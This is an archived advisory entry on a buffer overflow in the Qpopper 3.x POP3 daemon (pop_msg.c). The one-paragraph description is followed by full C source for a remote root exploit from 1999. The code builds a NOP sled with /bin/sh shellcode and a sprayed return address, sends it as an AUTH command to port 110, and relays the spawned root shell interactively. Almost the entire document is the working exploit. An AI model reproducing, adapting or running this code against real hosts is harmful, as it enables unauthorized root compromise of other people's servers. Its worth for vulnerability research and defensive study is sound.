// source: https://www.securityfocus.com/bid/830/info
There is a buffer overflow vulnerability present in current (3.x) versions of Qualcomm popper daemon. These vulnerabilities are remotely exploitable and since the daemon runs as root, the host running qpopper can be completely compromised anonymously. The problem is in pop_msg.c, around line 68 and is the result of vsprintf() or sprintf() calls without bounds checking.
/*
* Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38)
*
* Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org
*
* Exploits pop_msg buffer overflow to spawn a remote root shell.
* This probably works with the old qpop2 code for bsd, solaris anyone?
*
* WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A
* PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU
* DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES!
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#define NOP 0x90
#define LEN 1032
#define CODESTART 880
#define RET 0xbfffd655
/* x86 linux shellcode. this can be a simple execve to /bin/sh on all
systems, but MUST NOT contain the characters 'x17' or 'x0c' because
that would split the exploit code into separate arg buffers */
char *shellcode =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
"\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"
"\xe8\xd9\xff\xff\xff/bin/sh";
unsigned long resolve (char *);
void term (int, int);
unsigned long get_sp ();
int
main (int argc, char **argv)
{
char buffer[LEN];
char *codeptr = shellcode;
long retaddr = RET;
int i, s;
struct sockaddr_in sin;
if (argc < 2)
{
printf ("usage: %s <host> [offset]\n", argv[0]);
printf ("use offset -1 to try local esp\n");
exit (0);
}
if (argc > 2)
{
if (atoi (argv[2]) == -1)
{
/* 8000 = approx. byte offset to qpopper's top of stack
at the time it prints out the auth error message */
retaddr = get_sp () - 8000 - LEN;
printf ("Using local esp as ret address...\n");
}
retaddr += atoi (argv[2]);
}
for (i = 0; i < LEN; i++)
*(buffer + i) = NOP;
for (i = CODESTART + 2; i < LEN; i += 4)
*(int *) &buffer[i] = retaddr;
for (i = CODESTART; i < CODESTART + strlen (shellcode); i++)
*(buffer + i) = *(codeptr++);
buffer[0] = 'A';
buffer[1] = 'U';
buffer[2] = 'T';
buffer[3] = 'H';
buffer[4] = ' ';
printf ("qpop 3.0 remote root exploit (linux) by Mixter\n");
printf ("[return address: 0x%lx buffer size: %d code size: %d]\n",
retaddr, strlen (buffer), strlen (shellcode));
fflush (0);
sin.sin_family = AF_INET;
sin.sin_port = htons (110);
sin.sin_addr.s_addr = resolve (argv[1]);
s = socket (AF_INET, SOCK_STREAM, 0);
if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)
{
perror ("connect");
exit (0);
}
switch (write (s, buffer, strlen (buffer)))
{
case 0:
case -1:
fprintf (stderr, "write error: %s\n", strerror (errno));
break;
default:
break;
}
write (s, "\n\n", 1);
term (s, 0);
return 0;
}
unsigned long
resolve (char *host)
{
struct hostent *he;
struct sockaddr_in tmp;
if (inet_addr (host) != -1)
return (inet_addr (host));
he = gethostbyname (host);
if (he)
memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);
else
{
perror ("gethostbyname");
exit (0);
}
return (tmp.sin_addr.s_addr);
}
unsigned long
get_sp (void)
{
__asm__ ("movl %esp, %eax");
}
void
term (int p, int c)
{
char buf[LEN];
fd_set rfds;
int i;
while (1)
{
FD_ZERO (&rfds);
FD_SET (p, &rfds);
FD_SET (c, &rfds);
if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)
return;
if (FD_ISSET (c, &rfds))
{
if ((i = read (c, buf, sizeof (buf))) < 1)
exit (0);
else
write (p, buf, i);
}
if (FD_ISSET (p, &rfds))
{
if ((i = read (p, buf, sizeof (buf))) < 1)
exit (0);
else
write (c, buf, i);
}
}
}
